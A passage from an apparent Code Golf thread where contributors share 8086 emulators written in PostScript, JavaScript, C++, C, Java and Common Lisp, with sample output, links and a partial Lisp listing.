eq jrel } /JLE{fetchb SF OF xor ZF or 1 eq jrel } /JNLE{fetchb SF OF xor ZF or 0 eq jrel } /bw{dup 16#80 and 0 ne{16#ff xor 1 add 16#ffff xor 1 add}if} /IMMTAB{ADD OR ADC SBB AND SUB XOR CMP }cvlit /immed{ W 2 eq{ /W 1 def mrm decrm dup * fetchb bw }{ mrm decrm dup * {fetchb fetchw}W get exec }ifelse exch IMMTAB REG get dup == exec } %/TEST{ } /XCHG{3 2 roll pop 2 copy exch * 4 2 roll * stor } /AXCH{w dup AX XCHG } /NOP{ NULL nul } /pMOV{D{exch}repeat pop } /mMOV{ 3 1 roll pop pop } /MOV{ } /LEA{w mrm decreg RMTAB MOD get RM get exec } /CBW{dup 16#80 and 0 ne {16#ff xor 1 add 16#ffff xor 1 add } if } /CWD{dup 16#8000 and 0 ne {16#ffff xor 1 add neg } if } /CALL{w xp /xp{}def fetchw IP PUSH storew IP dup *w 3 2 roll add dsp /dsp{}def } %/WAIT{ } /PUSHF{NULL dup flagw storew 2 copy PUSH } /POPF{NULL dup POP *w wflag } %/SAHF{ } %/LAHF{ } %/MOVS{ } %/CMPS{ } %/STOS{ } %/LODS{ } %/SCAS{ } /RET{w IP POP storew SP dup * 3 2 roll add } %/LES{ } %/LDS{ } /JMP{IP dup fetchw exch *w add} /sJMP{IP dup fetchb bw exch *w add} /HLT{exit} /CMC{/CF CF 1 xor def NULL nul} /CLC{/CF 0 def NULL nul} /STC{/CF 1 def NULL nul} /NOT{not logflags } /NEG{neg logflags } /GRP1TAB{TEST --- NOT NEG MUL IMUL DIV IDIV } cvlit /Grp1{mrm decrm dup * GRP1TAB REG get dup == exec } /GRP2TAB{INC DEC {id CALL}{l id CALL}{id JMP}{l id JMP} PUSH --- } cvlit /Grp2{mrm decrm GRP2TAB REG get dup == exec } %optab shortcuts /2*{exch * exch *} /rm{mrm decreg decrm D index 3 1 roll 2*} % fetch,decode mrm -> dest *reg *r-m /rmp{mrm decreg decrm D index 3 1 roll} % fetch,decode mrm -> dest reg r-m /ia{ {{AL dup *b fetchb}{AX dup *w fetchw}}W get exec } %immed to accumulator /is{/W 2 def} /b{/W 0 def} %select byte operation /w{/W 1 def} %select word operation /t{/D 1 def} %dest = reg /f{/D 0 def} %dest = r/m /xp{} /dsp{} %/far{ /xp { <0000> PUSH storew } /dsp { fetchw pop } def } /i{ {fetchb fetchw}W get exec } /OPTAB{ {b f rm ADD}{w f rm ADD}{b t rm ADD}{w t rm ADD}{b ia ADD}{w ia ADD}{ES PUSH}{ES POP} %00-07 {b f rm OR}{w f rm OR}{b t rm OR}{w t rm OR}{b ia OR}{w ia OR}{CS PUSH}{} %08-0F {b f rm ADC}{w f rm ADC}{b t rm ADC}{w t rm ADC}{b ia ADC}{w ia ADC}{SS PUSH}{SS POP} %10-17 {b f rm SBB}{w f rm SBB}{b t rm SBB}{w t rm SBB}{b ia SBB}{w ia SBB}{DS PUSH}{DS POP}%18-1F {b f rm AND}{w f rm AND}{b t rm AND}{w t rm AND}{b ia AND}{w ia AND}{ES SEG}{DAA} %20-27 {b f rm SUB}{w f rm SUB}{b t rm SUB}{w t rm SUB}{b ia SUB}{w ia SUB}{CS SEG}{DAS} %28-2F {b f rm XOR}{w f rm XOR}{b t rm XOR}{w t rm XOR}{b ia XOR}{w ia XOR}{SS SEG}{AAA} %30-37 {b f rm CMP}{w f rm CMP}{b t rm CMP}{w t rm CMP}{b ia CMP}{w ia CMP}{DS SEG}{AAS} %38-3F {w AX INC}{w CX INC}{w DX INC}{w BX INC}{w SP INC}{w BP INC}{w SI INC}{w DI INC} %40-47 {w AX DEC}{w CX DEC}{w DX DEC}{w BX DEC}{w SP DEC}{w BP DEC}{w SI DEC}{w DI DEC} %48-4F {AX PUSH}{CX PUSH}{DX PUSH}{BX PUSH}{SP PUSH}{BP PUSH}{SI PUSH}{DI PUSH} %50-57 {AX POP}{CX POP}{DX POP}{BX POP}{SP POP}{BP POP}{SI POP}{DI POP} %58-5F {}{}{}{}{}{}{}{} {}{}{}{}{}{}{}{} %60-6F {JO}{JNO}{JB}{JNB}{JZ}{JNZ}{JBE}{JNBE} {JS}{JNS}{JP}{JNP}{JL}{JNL}{JLE}{JNLE} %70-7F {b f immed}{w f immed}{b f immed}{is f immed}{b TEST}{w TEST}{b rmp XCHG}{w rmp XCHG} %80-87 {b f rm pMOV}{w f rm pMOV}{b t rm pMOV}{w t rm pMOV} %88-8B {sr f rm pMOV}{LEA}{sr t rm pMOV}{w mrm decrm POP} %8C-8F {NOP}{CX AXCH}{DX AXCH}{BX AXCHG}{SP AXCH}{BP AXCH}{SI AXCH}{DI AXCH} %90-97 {CBW}{CWD}{far CALL}{WAIT}{PUSHF}{POPF}{SAHF}{LAHF} %98-9F {b AL m MOV}{w AX m MOV}{b m AL MOV}{b AX m MOV}{MOVS}{MOVS}{CMPS}{CMPS} %A0-A7 {b i a TEST}{w i a TEST}{STOS}{STOS}{LODS}{LODS}{SCAS}{SCAS} %A8-AF {b AL i MOV}{b CL i MOV}{b DL i MOV}{b BL i MOV} %B0-B3 {b AH i MOV}{b CH i MOV}{b DH i MOV}{b BH i MOV} %B4-B7 {w AX i MOV}{w CX i MOV}{w DX i MOV}{w BX i MOV} %B8-BB {w SP i MOV}{w BP i MOV}{w SI i MOV}{w DI i MOV} %BC-BF {}{}{fetchw RET}{0 RET}{LES}{LDS}{b f rm i mMOV}{w f rm i mMOV} %C0-B7 {}{}{fetchw RET}{0 RET}{3 INT}{fetchb INT}{INTO}{IRET} %C8-CF {b Shift}{w Shift}{b v Shift}{w v Shift}{AAM}{AAD}{}{XLAT} %D0-D7 {0 ESC}{1 ESC}{2 ESC}{3 ESC}{4 ESC}{5 ESC}{6 ESC}{7 ESC} %D8-DF {LOOPNZ}{LOOPZ}{LOOP}{JCXZ}{b IN}{w IN}{b OUT}{w OUT} %E0-E7 {CALL}{JMP}{far JMP}{sJMP}{v b IN}{v w IN}{v b OUT}{v w OUT} %E8-EF {LOCK}{}{REP}{z REP}{HLT}{CMC}{b Grp1}{w Grp} %F0-F7 {CLC}{STC}{CLI}{STI}{CLD}{STD}{b Grp2}{w Grp2} %F8-FF }cvlit /break{ /hook /pause load def } /c{ /hook {} def } /doprompt{ (\nbreak>)print flush(%lineedit)(r)file cvx {exec}stopped pop } /pause{ doprompt } /hook{} /stdout(%stdout)(w)file /bytedump{ <00> dup 0 3 index put stdout exch writehexstring ( )print } /regdump{ REGTAB 1 get{ stdout exch writehexstring ( )print }forall stdout IP writehexstring ( )print {(NC )(CA )}CF get print {(NO )(OV )}OF get print {(NS )(SN )}SF get print {(NZ )(ZR )}ZF get print stdout 16#1d3 w memptr writehexstring (\n)print } /mainloop{{ %regdump OPTAB fetchb get dup == exec %pstack flush %hook stor /ic ic 1 add def ictime }loop} /printvideo{ 0 1 28 { 80 mul 16#8000 add mem exch 80 getinterval { dup 0 eq { pop 32 } if dup 32 lt 1 index 126 gt or { pop 46 } if stdout exch write } forall (\n)print } for (\n)print } /ic 0 /ictime{ic 10 mod 0 eq {onq} if} /timeq 10 /onq{ %printvideo } >>begin currentdict{dup type/arraytype eq 1 index xcheck and {bind def}{pop pop}ifelse}forall SP 16#100 storew (codegolf.8086)(r)file mem readstring pop pop[ mainloop printvideo %eof ``` And the output (with the tail-end of abbreviated debugging output). ``` 75 {JNZ} 19 43 {w BX INC} 83 {is f immed} fb 64 CMP 76 {JBE} da f4 {HLT} ......... Hello, world! 0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ ################################################################################ ## ## ## 0 1 1 2 3 5 8 13 21 34 55 89 144 233 377 610 987 ## ## ## ## 0 1 4 9 16 25 36 49 64 81 100 121 144 169 196 225 256 289 324 361 400 ## ## ## ## 2 3 5 7 11 13 17 19 23 29 31 37 41 43 47 53 59 61 67 71 73 79 83 89 97 ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ################################################################################ GS<1> ``` [Answer] **Javascript** I am writing a 486 emulator in javascript inspired by jslinux. If I had known how much work it would be, I would probably never have started, but now I want to finish it. Then I came across your challenge and was very happy to have a 8086 program to test with. ![https://i.stack.imgur.com/54a6S.png](https://i.stack.imgur.com/Whyvv.png) You can "see" it run live here: <http://codinguncut.com/jsmachine/> I had one issue when printing out the graphics buffer. Where there should be spaces, the memory contains "00" elements. Is it correct to interpret "0x00" as space or do I have a bug in my emulator? Cheers, Johannes [Answer] # C++ I would like to submit our entry for this code challenge. It was written in c++ and runs the test program perfectly. We have implemented 90% of One Byte Op Codes and Basic Segmentation(some disabled because it does not work with the test program). Program Write Up: <http://davecarruth.com/index.php/2012/04/15/creating-an-8086-emulator> You can find the code in a zip file at the end of the Blog Post. Screenshot executing test program: ![enter image description here](https://i.stack.imgur.com/f9wnZ.png) This took quite a bit of time... if you have any questions or comments then feel free to message me. It was certainly a great exercise in partner programming. [Answer] # C Great Challenge and my first one. I created an account just because the challenge intrigued me so much. The down side is that I couldn't stop thinking of the challenge when I had real, paying, programming work to do. I feel compelled to get a completed 8086 emulation running, but that's another challenge ;-) The code is written in ANSI-C, so just compile/link the .c files together, pass in the codegolf binary, and go. [source zipped](https://caprockgames.com/codegolf/codegolf_8086.zip) ![enter image description here](https://i.stack.imgur.com/ixeWN.png) [Answer] # C++ - 4455 lines And no, I didn't just do the question's requirements. I did the ENTIRE 8086, including 16 never-before KNOWN opcodes. reenigne helped with figuring those opcodes out. <https://github.com/Alegend45/IBM5150> [Answer] # C++ 1064 lines Fantastic project. I did an [Intellivision emulator](http://www.intellivision.us/intvgames/nostalgia/nostalgia.php) many years ago, so it was great to flex my bit-banging muscles again. After about a week's work, I could not have been more excited when this happened: ``` ......... ╤╤╤╤╤╤╤╤╤╤╤╤╤╤ 0123456789:;?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ ################################################################################ ######################################################################## 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 4 9 ♠a ♣b ♠c d ♦f ☺h ` §☺b ,♦d E f `♠i ↓♣b 8♠e Y h ↑♦b =☺f ` 2 3 4 5 6 7 8 9 a ☺a ☻a ♥a ♦a ♣a ♠a aa a b ☺b ☻b ♥b ♦b ♣b ♠b bb b c ☺c ☻c ♥c ♦c ♣c ♠c cc c d ☺d ☻d ♥d ♦d ♣d ♠d dd d e ☺e ☻e ♥e ♦e ♣e ♠e ee e f ☺f ☻f ♥f ♦f ♣f ♠f ff f g ☺g ☻g ♥g ♦g ♣g ♠g g g h ☺h ☻h ♥ h ♦h ♣h ♠h hh h i ☺i ☻i ♥i ♦i ♣i ♠i ii i ` ``` A little debugging later and...SHAZAM! ![enter image description here](https://i.stack.imgur.com/t2aSC.jpg) Also, I rebuilt the original test program without the 80386 extensions, since I wanted to build my emulator true to the 8086 and not fudge in any extra instructions. Direct link to code here: [Zip file](http://www.manskirtbrewing.com/emu86/emu86.zip). Ok I'm having too much fun with this. I broke out memory and screen management, and now the screen updates when the screen buffer is written to. I made a video :) <http://www.youtube.com/watch?v=qnAssaTpmnA> Updates: First pass of segmenting is in. Very few instructions are actually implemented, but I tested it by moving the CS/DS and SS around, and everything still runs fine. Also added rudimentary interrupt handling. Very rudimentary. But I did implement int 21h to print a string. Added a few lines to the test source and uploaded that as well. ``` start: sti mov ah, 9 mov dx, joetext int 21h ... joetext: db 'This was printed by int 21h$', 0 ``` ![enter image description here](https://i.stack.imgur.com/A06Kx.jpg) If anyone has some fairly simple assembly code that would test the segments out, I'd love to play with it. I'm trying to figure out how far I want to take this. Full CPU emulation? VGA mode? Now I'm writing DOSBox. 12/6: Check it out, VGA mode! ![enter image description here](https://i.stack.imgur.com/XOidp.png) [Answer] # Javascript - 4,404 lines I stumbled upon this post when researching information for my own emulator. This Codegolf post has been absolutely invaluable to me. The example program and associated assembly made it possible to easily debug and see what was happening. Thank you!!! And here is the first version of my Javascript 8086 emulator. ![Completed run](https://i.stack.imgur.com/EYuxD.png) Features: * All the required opcodes for this challenge plus some extras that were similar enough that they were easy to code * Partially functional text mode (80x25) video (no interrupts yet) * Functioning stack * Basic (non-segmented) memory * Pretty decent debugging (gotta have this) * Code Page 437 font set loads dynamically from a bitmap representation ## Demo I have a demo online, feel free to play with it an let me know if you find bugs :) <http://js86emu.chadrempp.com/> To run the codegolf program 1) click on the settings button ![enter image description here](https://i.stack.imgur.com/5bxRH.png) 2) then just click load (you can play with debug options here, like stepping through program). The codegolf program is the only one available at the moment, I'm working on getting more online. ![enter image description here](https://i.stack.imgur.com/6e1C7.png) ## Source Full source here. <https://github.com/crempp/js86emu> I tried to paste the guts of the 8086 emulation here (as suggested by doorknob) but it exceeded the character limit ("Body is limited to 30000 characters; you entered 158,272"). Here is a quick link to the code I was going to paste in here - <https://github.com/crempp/js86emu/blob/39dbcb7106a0aaf59e003cd7f722acb4b6923d87/src/js/emu/cpus/8086.js> `*Edit - updated for new demo and repo location` [Answer] # Java I had wanted to do this challenge for so long, and I finally took the time to do so. It has been a wonderful experience so far and I'm proud to annonce that I've finally completed it. ![Test Program Output](https://i.stack.imgur.com/sM7iZ.png) ## Source Source code is available on GitHub at [NeatMonster/Intel8086](https://github.com/NeatMonster/Intel8086). I've tried to document pretty much everything, with the help of the holly [8086 Family User's Manual](https://edge.edx.org/c4x/BITSPilani/EEE231/asset/8086_family_Users_Manual_1_.pdf). I intend to implement all the missing opcodes and features, so you might want to check out the [release 1.0](https://github.com/NeatMonster/Intel8086/tree/1.0) for a version with only the ones required for this challenge. Many thanks to @copy! [Answer] # Common Lisp - 580 loc (442 w/o blank lines & comments) I used this challenge as an excuse to learn Common Lisp. Here's the result: ``` ;;; Program settings (defparameter *disasm* nil "Whether to disassemble") (defmacro disasm-instr (on-disasm &body body) `(if *disasm* ,on-disasm (progn ,@body))) ;;; State variables (defparameter *ram* (make-array (* 64 1024) :initial-element 0 :element-type '(unsigned-byte 8)) "Primary segment") (defparameter *stack* (make-array (* 64 1024) :initial-element 0 :element-type '(unsigned-byte 8)) "Stack segment") (defparameter *flags* '(:cf 0 :sf 0 :zf 0) "Flags") (defparameter *registers* '(:ax 0 :bx 0 :cx 0 :dx 0 :bp 0 :sp #x100 :si 0 :di 0) "Registers") (defparameter *ip* 0 "Instruction pointer") (defparameter *has-carried* nil "Whether the last wraparound changed the value") (defparameter *advance* 0 "Bytes to advance IP by after an operation") ;;; Constants (defconstant +byte-register-to-word+ '(:al (:ax nil) :ah (:ax t) :bl (:bx nil) :bh (:bx t) :cl (:cx nil) :ch (:cx t) :dl (:dx nil) :dh (:dx t)) "Mapping from byte registers to word registers") (defconstant +bits-to-register+ '(:ax :cx :dx :bx :sp :bp :si :di) "Mapping from index to word register") (defconstant +bits-to-byte-register+ '(:al :cl :dl :bl :ah :ch :dh :bh) "Mapping from index to byte register") ;;; Constant mappings (defun bits->word-reg (bits) (elt +bits-to-register+ bits)) (defun bits->byte-reg (bits) (elt +bits-to-byte-register+ bits)) (defun address-for-r/m (mod-bits r/m-bits) (disasm-instr (if (and (= mod-bits #b00) (= r/m-bits #b110)) (list :disp (peek-at-word)) (case r/m-bits (#b000 (list :base :bx :index :si)) (#b001 (list :base :bx :index :di)) (#b010 (list :base :bp :index :si)) (#b011 (list :base :bp :index :di)) (#b100 (list :index :si)) (#b101 (list :index :di)) (#b110 (list :base :bp)) (#b111 (list :base :bx)))) (if (and (= mod-bits #b00) (= r/m-bits #b110)) (peek-at-word) (case r/m-bits (#b000 (+ (register :bx) (register :si))) (#b001 (+ (register :bx) (register :di))) (#b010 (+ (register :bp) (register :si))) (#b011 (+ (register :bp) (register :di))) (#b100 (register :si)) (#b101 (register :di)) (#b110 (register :bp)) (#b111 (register :bx)))))) ;;; Convenience functions (defun reverse-little-endian (low high) "Reverse a little-endian number." (+ low (ash high 8))) (defun negative-p (value is-word) (or (if is-word (>= value #x8000) (>= value #x80)) (< value 0))) (defun twos-complement (value is-word) (if (negative-p value is-word) (- (1+ (logxor value (if is-word #xffff #xff)))) value)) (defun wrap-carry (value is-word) "Wrap around an carried value." (let ((carry (if is-word (>= value #x10000) (>= value #x100)))) (setf *has-carried* carry) (if carry (if is-word (mod value #x10000) (mod value #x100)) value))) ;;; setf-able locations (defun register (reg) (disasm-instr reg (getf *registers* reg))) (defun set-reg (reg value) (setf (getf *registers* reg) (wrap-carry value t))) (defsetf register set-reg) (defun byte-register (reg) (disasm-instr reg (let* ((register-to-word (getf +byte-register-to-word+ reg)) (word (first register-to-word))) (if (second register-to-word) (ash (register word) -8) (logand (register word) #x00ff))))) (defun set-byte-reg (reg value) (let* ((register-to-word (getf +byte-register-to-word+ reg)) (word (first register-to-word)) (wrapped-value (wrap-carry value nil))) (if (second register-to-word) (setf (register word) (+ (ash wrapped-value 8) (logand (register word) #x00ff))) (setf (register word) (+ wrapped-value (logand (register word) #xff00)))))) (defsetf byte-register set-byte-reg) (defun flag (name) (getf *flags* name)) (defun set-flag (name value) (setf (getf *flags* name) value)) (defsetf flag set-flag) (defun flag-p (name) (= (flag name) 1)) (defun set-flag-p (name is-set) (setf (flag name) (if is-set 1 0))) (defsetf flag-p set-flag-p) (defun byte-in-ram (location segment) "Read a byte from a RAM segment." (elt segment location)) (defsetf byte-in-ram (location segment) (value) "Write a byte to a RAM segment." `(setf (elt ,segment ,location) ,value)) (defun word-in-ram (location segment) "Read a word from a RAM segment." (reverse-little-endian (elt segment location) (elt segment (1+ location)))) (defsetf word-in-ram (location segment) (value) "Write a word to a RAM segment." `(progn (setf (elt ,segment ,location) (logand ,value #x00ff)) (setf (elt ,segment (1+ ,location)) (ash (logand ,value #xff00) -8)))) (defun indirect-address (mod-bits r/m-bits is-word) "Read from an indirect address." (disasm-instr (if (= mod-bits #b11) (register (if is-word (bits->word-reg r/m-bits) (bits->byte-reg r/m-bits))) (let ((base-index (address-for-r/m mod-bits r/m-bits))) (unless (getf base-index :disp) (setf (getf base-index :disp) (case mod-bits (#b00 0) (#b01 (next-instruction)) (#b10 (next-word))))) base-index)) (let ((address-base (address-for-r/m mod-bits r/m-bits))) (case mod-bits (#b00 (if is-word (word-in-ram address-base *ram*) (byte-in-ram address-base *ram*))) (#b01 (if is-word (word-in-ram (+ address-base (peek-at-instruction)) *ram*) (byte-in-ram (+ address-base (peek-at-instruction)) *ram*))) (#b10 (if is-word (word-in-ram (+ address-base (peek-at-word)) *ram*) (byte-in-ram (+ address-base (peek-at-word)) *ram*))) (#b11 (if is-word (register (bits->word-reg r/m-bits)) (byte-register (bits->byte-reg r/m-bits)))))))) (defsetf indirect-address (mod-bits r/m-bits is-word) (value) "Write to an indirect address." `(let ((address-base (address-for-r/m ,mod-bits ,r/m-bits))) (case ,mod-bits (#b00 (if ,is-word (setf (word-in-ram address-base *ram*) ,value) (setf (byte-in-ram address-base *ram*) ,value))) (#b01 (if ,is-word (setf (word-in-ram (+ address-base (peek-at-instruction)) *ram*) ,value) (setf (byte-in-ram (+ address-base (peek-at-instruction)) *ram*) ,value))) (#b10 (if ,is-word (setf (word-in-ram (+ address-base (peek-at-word)) *ram*) ,value) (setf (byte-in-ram (+ address-base (peek-at-word)) *ram*) ,value))) (#b11 (if ,is-word (setf (register (bits->word-reg ,r/m-bits)) ,value) (setf (byte-register (bits->byte-reg ,r/m-bits)) ,value)))))) ;;; Instruction loader (defun load-instructions-into-ram (instrs) (setf *ip* 0) (setf (subseq *ram* 0 #x7fff) instrs) (length instrs)) (defun next-instruction () (incf *ip*) (elt *ram* (1- *ip*))) (defun next-word () (reverse-little-endian (next-instruction) (next-instruction))) (defun peek-at-instruction (&optional (forward 0)) (incf *advance*) (elt *ram* (+ *ip* forward))) (defun peek-at-word () (reverse-little-endian (peek-at-instruction) (peek-at-instruction 1))) (defun advance-ip () (incf *ip* *advance*) (setf *advance* 0)) (defun advance-ip-ahead-of-indirect-address (mod-bits r/m-bits) (cond ((or (and (= mod-bits #b00) (= r/m-bits #b110)) (= mod-bits #b10)) 2) ((= mod-bits #b01) 1) (t 0))) (defun next-instruction-ahead-of-indirect-address (mod-bits r/m-bits) (let ((*ip* *ip*)) (incf *ip* (advance-ip-ahead-of-indirect-address mod-bits r/m-bits)) (incf *advance*) (next-instruction))) (defun next-word-ahead-of-indirect-address (mod-bits r/m-bits) (let ((*ip* *ip*)) (incf *ip* (advance-ip-ahead-of-indirect-address mod-bits r/m-bits)) (incf *advance* 2) (next-word))) ;;; Memory access (defun read-word-from-ram (loc &optional (segment *ram*)) (word-in-ram loc segment)) (defun write-word-to-ram (loc word &optional (segment *ram*)) (setf (word-in-ram loc segment) word)) (defun push-to-stack (value) (decf (register :sp) 2) (write-word-to-ram (register :sp) value *stack*)) (defun pop-from-stack () (incf (register :sp) 2) (read-word-from-ram (- (register :sp) 2) *stack*)) ;;; Flag effects (defun set-cf-on-add (value) (setf (flag-p :cf) *has-carried*) value) (defun set-cf-on-sub (value1 value2) (setf (flag-p :cf) (> value2 value1)) (- value1 value2)) (defun set-sf-on-op (value is-word) (setf (flag-p :sf) (negative-p value is-word)) value) (defun set-zf-on-op (value) (setf (flag-p :zf) (= value 0)) value) ;;; Operations ;; Context wrappers (defun with-one-byte-opcode-register (opcode fn) (let ((reg (bits->word-reg (mod opcode #x08)))) (funcall fn reg))) (defmacro with-mod-r/m-byte (&body body) `(let* ((mod-r/m (next-instruction)) (r/m-bits (logand mod-r/m #b00000111)) (mod-bits (ash (logand mod-r/m #b11000000) -6)) (reg-bits (ash (logand mod-r/m #b00111000) -3))) ,@body)) (defmacro with-in-place-mod (dest mod-bits r/m-bits &body body) `(progn ,@body (when (equal (car ',dest) 'indirect-address) (decf *advance* (advance-ip-ahead-of-indirect-address ,mod-bits ,r/m-bits))))) ;; Templates (defmacro mov (src dest) `(disasm-instr (list "mov" :src ,src :dest ,dest) (setf ,dest ,src))) (defmacro xchg (op1 op2) `(disasm-instr (list "xchg" :op1 ,op1 :op2 ,op2) (rotatef ,op1 ,op2))) (defmacro inc (op1 is-word) `(disasm-instr (list "inc" :op1 ,op1) (set-sf-on-op (set-zf-on-op (incf ,op1)) ,is-word))) (defmacro dec (op1 is-word) `(disasm-instr (list "dec" :op1 ,op1) (set-sf-on-op (set-zf-on-op (decf ,op1)) ,is-word))) ;; Group handling (defmacro parse-group-byte-pair (opcode operation mod-bits r/m-bits) `(,operation ,mod-bits ,r/m-bits (oddp ,opcode))) (defmacro parse-group-opcode (&body body) `(with-mod-r/m-byte (case reg-bits ,@body))) ;; One-byte opcodes on registers (defun clear-carry-flag () (disasm-instr '("clc") (setf (flag-p :cf) nil))) (defun set-carry-flag () (disasm-instr '("stc") (setf (flag-p :cf) t))) (defun push-register (reg) (disasm-instr (list "push" :src reg) (push-to-stack (register reg)))) (defun pop-to-register (reg) (disasm-instr (list "pop" :dest reg) (setf (register reg) (pop-from-stack)))) (defun inc-register (reg) (inc (register reg) t)) (defun dec-register (reg) (dec (register reg) t)) (defun xchg-register (reg) (disasm-instr (if (eql reg :ax) '("nop") (list "xchg" :op1 :ax :op2 reg)) (xchg (register :ax) (register reg)))) (defun mov-byte-to-register (opcode) (let ((reg (bits->byte-reg (mod opcode #x08)))) (mov (next-instruction) (byte-register reg)))) (defun mov-word-to-register (reg) (mov (next-word) (register reg))) ;; Flow control (defun jmp-short () (disasm-instr (list "jmp" :op1 (twos-complement (next-instruction) nil)) (incf *ip* (twos-complement (next-instruction) nil)))) (defmacro jmp-short-conditionally (opcode condition mnemonic) `(let ((disp (next-instruction))) (if (evenp ,opcode) (disasm-instr (list (concatenate 'string "j" ,mnemonic) :op1 (twos-complement disp nil)) (when ,condition (incf *ip* (twos-complement disp nil)))) (disasm-instr (list (concatenate 'string "jn" ,mnemonic) :op1 (twos-complement disp nil)) (unless ,condition (incf *ip* (twos-complement disp nil))))))) (defun call-near () (disasm-instr (list "call" :op1 (twos-complement (next-word) t)) (push-to-stack (+ *ip* 2)) (incf *ip* (twos-complement (next-word) t)))) (defun ret-from-call () (disasm-instr '("ret") (setf *ip* (pop-from-stack)))) ;; ALU (defmacro parse-alu-opcode (opcode operation) `(let ((mod-8 (mod ,opcode 8))) (case mod-8 (0 (with-mod-r/m-byte (,operation (byte-register (bits->byte-reg reg-bits)) (indirect-address mod-bits r/m-bits nil) nil mod-bits r/m-bits))) (1 (with-mod-r/m-byte (,operation (register (bits->word-reg reg-bits)) (indirect-address mod-bits r/m-bits t) t mod-bits r/m-bits))) (2 (with-mod-r/m-byte (,operation (indirect-address mod-bits r/m-bits nil) (byte-register (bits->byte-reg reg-bits)) nil))) (3 (with-mod-r/m-byte (,operation (indirect-address mod-bits r/m-bits t) (register (bits->word-reg reg-bits)) t))) (4 (,operation (next-instruction) (byte-register :al) nil)) (5 (,operation (next-word) (register :ax) t))))) (defmacro add-without-carry (src dest is-word &optional mod-bits r/m-bits) `(disasm-instr (list "add" :src ,src :dest ,dest) (with-in-place-mod ,dest ,mod-bits ,r/m-bits (set-zf-on-op (set-sf-on-op (set-cf-on-add (incf ,dest ,src)) ,is-word))))) (defmacro add-with-carry (src dest is-word &optional mod-bits r/m-bits) `(disasm-instr (list "adc" :src ,src :dest ,dest) (with-in-place-mod ,dest ,mod-bits ,r/m-bits (set-zf-on-op (set-sf-on-op (set-cf-on-add (incf ,dest (+ ,src (flag :cf)))) ,is-word))))) (defmacro sub-without-borrow (src dest is-word &optional mod-bits r/m-bits) `(disasm-instr (list "sub" :src ,src :dest ,dest) (with-in-place-mod ,dest ,mod-bits ,r/m-bits (let ((src-value ,src)) (set-zf-on-op (set-sf-on-op (set-cf-on-sub (+ (decf ,dest src-value) src-value) src-value) ,is-word)))))) (defmacro sub-with-borrow (src dest is-word &optional mod-bits r/m-bits) `(disasm-instr (list "sbb" :src ,src :dest ,dest) (with-in-place-mod ,dest ,mod-bits ,r/m-bits (let ((src-plus-cf (+ ,src (flag :cf)))) (set-zf-on-op (set-sf-on-op (set-cf-on-sub (+ (decf ,dest src-plus-cf) src-plus-cf) src-plus-cf) ,is-word)))))) (defmacro cmp-operation (src dest is-word &optional mod-bits r/m-bits) `(disasm-instr (list "cmp" :src ,src :dest ,dest) (set-zf-on-op (set-sf-on-op (set-cf-on-sub ,dest ,src) ,is-word)))) (defmacro and-operation (src dest is-word &optional mod-bits r/m-bits) `(disasm-instr (list "and" :src ,src :dest ,dest) (with-in-place-mod ,dest ,mod-bits ,r/m-bits (set-zf-on-op (set-sf-on-op (setf ,dest (logand ,src ,dest)) ,is-word)) (setf (flag-p :cf) nil)))) (defmacro or-operation (src dest is-word &optional mod-bits r/m-bits) `(disasm-instr (list "or" :src ,src :dest ,dest) (with-in-place-mod ,dest ,mod-bits ,r/m-bits (set-zf-on-op (set-sf-on-op (setf ,dest (logior ,src ,dest)) ,is-word)) (setf (flag-p :cf) nil)))) (defmacro xor-operation (src dest is-word &optional mod-bits r/m-bits) `(disasm-instr (list "xor" :src ,src :dest ,dest) (with-in-place-mod ,dest ,mod-bits ,r/m-bits (set-zf-on-op (set-sf-on-op (setf ,dest (logxor ,src ,dest)) ,is-word)) (setf (flag-p :cf) nil)))) (defmacro parse-group1-byte (opcode operation mod-bits r/m-bits) `(case (mod ,opcode 4) (0 (,operation (next-instruction-ahead-of-indirect-address ,mod-bits ,r/m-bits) (indirect-address ,mod-bits ,r/m-bits nil) nil mod-bits r/m-bits)) (1 (,operation (next-word-ahead-of-indirect-address ,mod-bits ,r/m-bits) (indirect-address ,mod-bits ,r/m-bits t) t mod-bits r/m-bits)) (3 (,operation (twos-complement (next-instruction-ahead-of-indirect-address ,mod-bits ,r/m-bits) nil) (indirect-address ,mod-bits ,r/m-bits t) t mod-bits r/m-bits)))) (defmacro parse-group1-opcode (opcode) `(parse-group-opcode (0 (parse-group1-byte ,opcode add-without-carry mod-bits r/m-bits)) (1 (parse-group1-byte ,opcode or-operation mod-bits r/m-bits)) (2 (parse-group1-byte ,opcode add-with-carry mod-bits r/m-bits)) (3 (parse-group1-byte ,opcode sub-with-borrow mod-bits r/m-bits)) (4 (parse-group1-byte ,opcode and-operation mod-bits r/m-bits)) (5 (parse-group1-byte ,opcode sub-without-borrow mod-bits r/m-bits)) (6 (parse-group1-byte ,opcode xor-operation mod-bits r/m-bits)) (7 (parse-group1-byte ,opcode cmp-operation mod-bits r/m-bits)))) ;; Memory and register mov/xchg (defun xchg-memory-register (opcode) (let ((is-word (oddp opcode))) (with-mod-r/m-byte (if is-word (xchg (register (bits->word-reg reg-bits)) (indirect-address mod-bits r/m-bits is-word)) (xchg (byte-register (bits->byte-reg reg-bits)) (indirect-address mod-bits r/m-bits is-word)))))) (defmacro mov-immediate-to-memory (mod-bits r/m-bits is-word) `(if ,is-word (mov (next-word-ahead-of-indirect-address ,mod-bits ,r/m-bits) (indirect-address ,mod-bits ,r/m-bits t)) (mov (next-instruction-ahead-of-indirect-address ,mod-bits ,r/m-bits) (indirect-address ,mod-bits ,r/m-bits nil)))) (defmacro parse-group11-opcode (opcode) `(parse-group-opcode (0 (parse-group-byte-pair ,opcode mov-immediate-to-memory mod-bits r/m-bits)))) (defmacro parse-mov-opcode (opcode) `(let ((mod-4 (mod ,opcode 4))) (with-mod-r/m-byte (case mod-4 (0 (mov (byte-register (bits->byte-reg reg-bits)) (indirect-address mod-bits r/m-bits nil))) (1 (mov (register (bits->word-reg reg-bits)) (indirect-address mod-bits r/m-bits t))) (2 (mov (indirect-address mod-bits r/m-bits nil) (byte-register (bits->byte-reg reg-bits)))) (3 (mov (indirect-address mod-bits r/m-bits t) (register (bits->word-reg reg-bits)))))))) ;; Group 4/5 (inc/dec on EAs) (defmacro inc-indirect (mod-bits 